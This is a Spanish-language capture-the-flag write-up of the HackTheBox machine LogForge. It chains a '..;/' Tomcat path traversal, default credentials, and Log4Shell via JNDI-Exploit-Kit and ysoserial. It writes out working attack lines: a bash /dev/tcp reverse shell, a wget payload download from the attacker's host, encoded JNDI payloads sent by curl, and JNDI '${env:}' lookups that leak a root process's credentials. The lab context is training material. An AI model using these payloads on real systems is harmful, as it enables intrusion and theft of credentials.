# HackTheBox - LogForge

LogForge es una máquina Linux de dificultad media que combina: un path traversal mediante la secuencia `..;/` para acceder al panel de administración de Tomcat protegido por Apache, la explotación de Log4Shell (CVE-2021-44228) para obtener ejecución remota de código y una escalada de privilegios aprovechando de nuevo Log4Shell para exfiltrar variables de entorno de un servidor FTP personalizado corriendo como root.

## Reconocimiento

```plaintext
# Nmap 7.99 scan initiated Sat Jun 13 15:45:43 2026 as: /usr/lib/nmap/nmap -p- --open -sSCV --min-rate 10000 -n -Pn -v -oN scan 10.129.96.153
Nmap scan report for 10.129.96.153
Host is up (0.041s latency).
Not shown: 64952 closed tcp ports (reset), 581 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ultimate Hacking Championship
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 13 15:45:58 2026 -- 1 IP address (1 host up) scanned in 14.96 seconds
```

Solo dos puertos abiertos: SSH en el puerto 22 y en el puerto 80 se sirve un servidor web Apache 2.4.41.

Nada en el código fuente ni nada de interés...

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/1eeec6ac-218d-4de4-8b4b-de7be7943f1b.png align="center")

Enumerando directorios:

```plaintext
┌──(root㉿kali)-[/home/noc/htb/logforge/nmap]
└─# gobuster dir -u http://10.129.96.153/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -t 50

===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.96.153/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
admin                (Status: 403) [Size: 278]
images               (Status: 302) [Size: 0] [--> /images/]
manager              (Status: 403) [Size: 278]
server-status        (Status: 403) [Size: 278]
host-manager         (Status: 403) [Size: 278]
```

El directorio `/manager` devuelve 403 en lugar de 404. Esto indica que existe pero está bloqueado por Apache. `manager` es el panel de administración por defecto de Apache Tomcat.

Accediendo a un directorio que no exista también se puede identificar Apache Tomcat 9.0.31:

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/e5a58194-3822-4510-bb7a-ff89550f1a37.png align="center")

### Path Traversal

En esta [publicación](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) se explica lo siguiente:

*"Los servidores web y los reverse proxies normalizan las rutas de las peticiones. Por ejemplo, una ruta como* `/images/../images/` *se normaliza a* `/images/`*. El problema surge cuando Apache Tomcat se combina con un reverse proxy como Apache o nginx: existe una inconsistencia en cómo cada uno normaliza ciertas secuencias.*

*Tomcat trata la secuencia* `/..;/` *de la misma manera que* `/../` *y normaliza el path correctamente. El reverse proxy, sin embargo, no reconoce esa secuencia como un segmento de traversal y la reenvía a Tomcat tal cual, sin modificarla. Esto permite que un atacante acceda a recursos de Tomcat que el reverse proxy supuestamente está protegiendo, ya que el filtro compara la URL sin normalizar y no encuentra coincidencia con las rutas bloqueadas."*

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/2529f385-e798-4fa0-9260-1704450c1b9d.png align="center")

Se accede con las credenciales por defecto `tomcat:tomcat`

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/b46fc193-8e2f-4d38-b7c6-8ca18c163a7c.png align="center")

Con acceso al Tomcat Manager, se puede intentar subir un [WAR malicioso](https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/tomcat/index.html#rce) con la funcionalidad que ofrece el panel:

```plaintext
┌──(root㉿kali)-[/home/noc/htb/logforge/content]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.190 LPORT=4444 -f war -o revshell.war
```

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/63b088bb-fd43-4bac-99ad-4f54595bf08d.png align="center")

Pero aparece el siguiente error:

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/877c44e1-a92a-4f47-ae9a-b43970a2a76e.png align="center")

```plaintext
FAIL - Deploy Upload Failed, Exception: [org.apache.tomcat.util.http.fileupload.impl.FileSizeLimitExceededException: The field deployWar exceeds its maximum permitted size of 1 bytes.]
```

El administrador ha configurado el tamaño máximo de subida en 1 byte, lo que bloquea el despliegue de cualquier WAR. Hay que buscar otro camino.

## Log4Shell (CVE-2021-44228)

Revisando el [historial de seguridad de Tomcat 9.0.31](https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.35), abajo del todo de la página aparece una entrada bajo el encabezado "[Not a vulnerability in Tomcat](https://tomcat.apache.org/security-9.html#Not_a_vulnerability_in_Tomcat)": el [CVE-2021-44228](https://www.incibe.es/incibe-cert/blog/log4shell-analisis-vulnerabilidades-log4j), [Log4Shell](https://tomitribe.com/blog/cve-2021-44228-log4shell-vulnerability/). La nota aclara que Tomcat en sí no depende de Log4j, pero que las aplicaciones desplegadas sobre él sí pueden hacerlo, y que cualquiera que haya configurado el logging interno de Tomcat para usar Log4j 2.x también está expuesto. Este es exactamente nuestro caso.

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/cab395cc-db5d-4784-9965-2a38aaba1401.png align="center")

### ¿Qué es Log4shell?

Log4j es una librería de Java que usan muchísimas aplicaciones para guardar registros de lo que ocurre en el sistema (logs). El problema es que Log4j no solo escribe texto: también interpreta ciertas cadenas especiales y las ejecuta.

```plaintext
${jndi:ldap://nuestra-ip/algo}
```

Cuando Log4j ve esto en algo que va a registrar, en lugar de escribirlo en el log como texto normal, hace una **conexión de red real** hacia esa dirección para buscar el recurso. Si ese servidor responde con un objeto Java malicioso, Log4j lo descarga y lo ejecuta.

### Confirmando la vulnerabilidad

Dentro del Tomcat Manager hay una función para expirar sesiones inactivas. El campo "Expire sessions with idle >" acepta un número de minutos, pero ese valor acaba siendo procesado por Log4j.

Click en "Expire sessions" e interceptar con Burp:

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/de66cde6-0334-4d91-9aa3-f563b6509060.png align="center")

Al enviar la petición, el servidor intenta conectarse a nuestra IP. Si tenemos tcpdump o un netcat escuchando se ve.

```plaintext
idle=${jndi:ldap://10.10.14.190:4444/}
```

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/17c964e2-7756-489e-9d51-13838c3a4aca.png align="center")

Confirmado que el servidor es vulnerable, hay que preparar el entorno de ataque, se necesita **JNDI-Exploit-Kit** que es el servidor LDAP falso que responderá a las conexiones del servidor vulnerable y le enviará nuestro payload:

```bash
git clone https://github.com/pimps/JNDI-Exploit-Kit.git
cd JNDI-Exploit-Kit
```

**ysoserial** es la herramienta que genera los payloads Java serializados. Funciona mediante "gadget chains": secuencias de clases Java legítimas que, encadenadas de cierta manera, terminan ejecutando el comando que le indiquemos. En este caso usamos `CommonsCollections5`, que aprovecha gadgets de la librería Apache Commons Collections 3.1, que Tomcat incluye en su classpath.

```bash
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar -O ysoserial.jar
```

Un problema importante: ysoserial no funciona con versiones de Java modernas. Kali trae Java 17 por defecto, y con esa versión el intento de generar el payload falla con este error:

```plaintext
Error while generating or serializing payload
java.lang.reflect.InaccessibleObjectException: Unable to make field transient
java.util.HashMap java.util.HashSet.map accessible: module java.base does not
"opens java.util" to unnamed module
```

La solución es instalar Java 11 y usarlo explícitamente:

```bash
apt install openjdk-11-jdk -y
```

Otro detalle a tener en cuenta es que ysoserial no tolera caracteres especiales como `|`, `>` o `&` en el comando. Eso impide meter una reverse shell directamente en un solo payload. La solución es hacerlo en dos pasos: primero descargar un script `rev.sh` y luego ejecutarlo.

```shell
┌──(root㉿kali)-[/home/noc/htb/logforge/content]
└─# cat rev.sh                       
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.190/4444 0>&1
```

Se generan los dos payloads con ysoserial usando java 11:

```shell
# Payload 1: descarga el rev.sh en la víctima

┌──(root㉿kali)-[/home/…/htb/logforge/content/JNDI-Exploit-Kit]
└─# /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial.jar \
  CommonsCollections5 \
  'wget 10.10.14.190/rev.sh -O /tmp/rev.sh' \
  > getrev.ser

# Payload 2: ejecuta el rev.sh

┌──(root㉿kali)-[/home/…/htb/logforge/content/JNDI-Exploit-Kit]
└─# /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial.jar \
  CommonsCollections5 \
  'bash /tmp/rev.sh' \
  > runrev.ser
```

## Shell como tomcat

Con todo preparado, se puede ejecutar el ataque:

1.  Netcat esperando la shell:
    

```bash
nc -lnvp 4444
```

2.  Servidor HTTP para que la víctima descargue el [`rev.sh`](http://rev.sh):
    

```bash
python3 -m http.server 80
```

3.  JNDI-Exploit-Kit escuchando:
    

```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java \
  -jar JNDI-Exploit-Kit.jar \
  -L 10.10.14.190:389
```

4.  Lanzamos el primer trigger. La URL usa el bypass `..;/` para pasar por Apache y llegar a Tomcat, y el campo `idle` contiene el JNDI string que apunta al JNDI-Exploit-Kit con el payload de descarga:
    

```bash
curl -s -X POST \
  'http://10.129.96.153/0xdf/..;/manager/html/expire?path=/' \
  -H 'Authorization: Basic dG9tY2F0OnRvbWNhdA==' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'idle=%24%7Bjndi%3Aldap%3A%2F%2F10.10.14.190%3A389%2Fserial%2FCommonsCollections5%2Fexec_unix%2Fd2dldCAxMC4xMC4xNC4xOTAvcmV2LnNoIC1PIC90bXAvcmV2LnNo%7D'
```

En la terminal del servidor Python aparece `GET /`[`rev.sh`](http://rev.sh) — la víctima descargó el script. Ahora volvemos a lanzar el curl con el segundo payload (el que ejecuta `bash /tmp/`[`rev.sh`](http://rev.sh)):

```bash
curl -s -X POST \
  'http://10.129.96.153/0xdf/..;/manager/html/expire?path=/' \
  -H 'Authorization: Basic dG9tY2F0OnRvbWNhdA==' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'idle=%24%7Bjndi%3Aldap%3A%2F%2F10.10.14.190%3A389%2Fserial%2FCommonsCollections5%2Fexec_unix%2FYmFzaCAvdG1wL3Jldi5zaA%3D%3D%7D'
```

El valor del campo `idle` que enviamos en el `--data` es un JNDI string completo que pasa por dos capas de encoding. Vamos a desarmarlo para entender qué hay dentro.

El JNDI-Exploit-Kit expone URLs con este formato:

```plaintext
ldap://IP:389/serial/GADGET/TIPO/COMANDO_EN_BASE64
```

El comando va en base64 porque así evitamos problemas con espacios y caracteres especiales. Para el primer payload codificamos el wget:

```bash
echo -n 'wget 10.10.14.190/rev.sh -O /tmp/rev.sh' | base64
# d2dldCAxMC4xMC4xNC4xOTAvcmV2LnNoIC1PIC90bXAvcmV2LnNo
```

Con eso construimos el JNDI string completo:

```plaintext
${jndi:ldap://10.10.14.190:389/serial/CommonsCollections5/exec_unix/d2dldCAxMC4xMC4xNC4xOTAvcmV2LnNoIC1PIC90bXAvcmV2LnNo}
```

Pero como ese string va dentro de un campo de formulario HTTP, hay que URL-encodearlo para que viaje correctamente. Los caracteres como `$`, `{`, `:`, `/` y `}` tienen que convertirse a su equivalente `%XX`. El resultado es lo que aparece en el `--data`:

```plaintext
idle=%24%7Bjndi%3Aldap%3A%2F%2F10.10.14.190%3A389%2Fserial%2FCommonsCollections5%2Fexec_unix%2Fd2dldCAxMC4xMC4xNC4xOTAvcmV2LnNoIC1PIC90bXAvcmV2LnNo%7D
```

Donde `%24` es `$`, `%7B` es `{`, `%3A` es `:`, `%2F` es `/` y `%7D` es `}`.

Para el segundo payload el proceso es idéntico, solo cambia el comando:

```bash
echo -n 'bash /tmp/rev.sh' | base64
# YmFzaCAvdG1wL3Jldi5zaA==
```

Los signos `=` del base64 también hay que encodearlos como `%3D`, de ahí el `%3D%3D` al final del segundo curl:

```shell
idle=%24%7Bjndi%3Aldap%3A%2F%2F10.10.14.190%3A389%2Fserial%2FCommonsCollections5%2Fexec_unix%2FYmFzaCAvdG1wL3Jldi5zaA%3D%3D%7D
```

Y en netcat llega la conexión:

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/75c67668-5712-42c8-b7d1-7850b358e776.png align="center")

```plaintext
tomcat@LogForge:/home/htb$ cat user.txt 
ca4ca0f55e2c449c62d3125552520e48
```

## Escalada de Privilegios

Mirando qué procesos están corriendo en el sistema se ve que hay un servidor FTP hecho en Java corriendo como root:

```plaintext
tomcat@LogForge:/var/lib/tomcat9$ ps auxww | grep ftp
root         982  0.0  1.8 3576972 76092 ?       Sl   09:43   0:06 java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar
```

Transferimos el JAR a nuestra máquina para analizarlo. Verificamos el hash MD5 para asegurarnos de que la transferencia fue correcta:

```shell
tomcat@LogForge:/$ nc 10.10.14.190 4445 < ftpServer-1.0-SNAPSHOT-all.jar 
tomcat@LogForge:/$ md5sum ftpServer-1.0-SNAPSHOT-all.jar 
abd783cb9ebfb7d23a8842ab2ac48dae  ftpServer-1.0-SNAPSHOT-all.jar
```

```shell
┌──(root㉿kali)-[/home/noc/htb/logforge/content]
└─# nc -nlvp 4445 > ftpServer-1.0-SNAPSHOT-all.jar
listening on [any] 4445 ...
connect to [10.10.14.190] from (UNKNOWN) [10.129.96.153] 49504
^C

┌──(root㉿kali)-[/home/noc/htb/logforge/content]
└─# md5sum ftpServer-1.0-SNAPSHOT-all.jar 
abd783cb9ebfb7d23a8842ab2ac48dae  ftpServer-1.0-SNAPSHOT-all.jar
```

Se pueden utilizar herramientas como `jd-gui` para descompilar el JAR y analizarlo:

```bash
apt install jd-gui
```

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/1b7f6523-d28f-4b57-8377-2c555f3d8de1.png align="center")

Encontramos dos clases: `Server` y `Worker`. La clase `Server` es la que arranca el servidor y gestiona las conexiones entrantes:

```java
package main.java.com.ippsec.ftpServer;  
  
import java.io.IOException;  
import java.net.ServerSocket;  
import java.net.Socket;  
import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;  
  
public class Server {  
  private int controlPort = 21;  
    
  private ServerSocket welcomeSocket;  
    
  boolean serverRunning = true;  
    
  private static final Logger LOGGER = LogManager.getLogger(Server.class);  
    
  public static void main(String[] args) {  
    new Server();  
  }  
    
  public Server() {  
    try {  
      this.welcomeSocket = new ServerSocket(this.controlPort);  
    } catch (IOException e) {  
      LOGGER.error("Could not create server socket");  
      System.exit(-1);  
    }   
    LOGGER.info("FTP Server started listening on port " + this.controlPort);  
    int noOfThreads = 0;  
    while (this.serverRunning) {  
      try {  
        Socket client = this.welcomeSocket.accept();  
        int dataPort = this.controlPort + noOfThreads + 1;  
        Worker w = new Worker(client, dataPort);  
        LOGGER.info("New connection received. Worker was created.");  
        noOfThreads++;  
        w.start();  
      } catch (IOException e) {  
        LOGGER.error("Exception encountered on accept");  
        e.printStackTrace();  
      }   
    }   
    try {  
      this.welcomeSocket.close();  
      System.out.println("Server was stopped");  
    } catch (IOException e) {  
      System.out.println("Problem stopping server");  
      System.exit(-1);  
    }   
  }  
}
```

Lo primero que salta a la vista es que usa Log4j. En la clase `Worker` se ve como se validan las credenciales del FTP: se leen de las **variables de entorno**:

```java
  private String validUser = System.getenv("ftp_user");  
    
  private String validPassword = System.getenv("ftp_password");
```

Las credenciales no están hardcodeadas en el código sino que se leen de las variables de entorno del proceso cuando arranca. Eso significa que están en la memoria del proceso de root y nosotros desde `tomcat` no podemos acceder a ellas directamente.

Pero la clase `Worker` también revela algo más: el username que introduce el usuario al conectarse se loguea con Log4j sin ningún tipo de filtrado, igual que pasaba con el campo `idle` en Tomcat. Eso quiere decir que si metemos un JNDI string como nombre de usuario, Log4j lo va a evaluar, y usando el lookup `${env:}` podemos hacer que el propio proceso de root nos mande sus variables de entorno a nosotros.

Con el JNDI-Exploit-Kit escuchando, nos conectamos al FTP desde la shell de tomcat y usamos el JNDI string como nombre de usuario:

```bash
tomcat@LogForge:/var/lib/tomcat9$ ftp localhost
Connected to localhost.
220 Welcome to the FTP-Server
Name (localhost:tomcat): ${jndi:ldap://10.10.14.86:389/user:${env:ftp_user}}
530 Not logged in
```

En el JNDI-Exploit-Kit aparece inmediatamente:

```plaintext
2026-06-21 14:46:00 [LDAPSERVER] >> Reference that matches the name(user:ippsec) is not found.
```

El usuario es `ippsec`. Lo mismo para la contraseña:

```bash
ftp> user
(username) ${jndi:ldap://10.10.14.86:389/user:${env:ftp_password}}
530 Not logged in
```

```plaintext
2026-06-21 14:47:04 [LDAPSERVER] >> Reference that matches the name(user:log4j_env_leakage) is not found.
```

Contraseña: `log4j_env_leakage`.

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/057c0629-82ed-4d39-9184-a4bcf62ddf86.png align="center")

Con las credenciales, nos conectamos al FTP:

```bash
tomcat@LogForge:/var/lib/tomcat9$ ftp localhost
Connected to localhost.
220 Welcome to the FTP-Server
Name (localhost:tomcat): ippsec
331 User name okay, need password
Password:
230-Welcome to HKUST
230 User logged in successfully
Remote system type is FTP.
ftp> ls
200 Command OK
125 Opening ASCII mode data connection for file list.
.profile
.ssh
snap
ftpServer-1.0-SNAPSHOT-all.jar
.bashrc
.selected_editor
run.sh
.lesshst
.bash_history
root.txt
.cache
.viminfo
226 Transfer complete.
```

El servidor FTP corre con el directorio `/root` como directorio de trabajo, así que al hacer `ls` vemos directamente los ficheros de root, incluyendo `root.txt`. Sin embargo, no tenemos permisos de escritura en `/root` desde FTP, así que antes de descargar la flag cambiamos el directorio local a `/tmp`:

```bash
ftp> get root.txt
local: root.txt remote: root.txt
local: root.txt: Permission denied
```

```plaintext
ftp> lcd /tmp
Local directory now /tmp
ftp> get root.txt
local: root.txt remote: root.txt
200 Command OK
150 Opening ASCII mode data connection for requested file root.txt
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 File transfer successful. Closing data connection.
33 bytes received in 0.00 secs (192.9734 kB/s)
```

```bash
tomcat@LogForge:/var/lib/tomcat9$ cat /tmp/root.txt 
c2b8b1708c4b0b1...
```
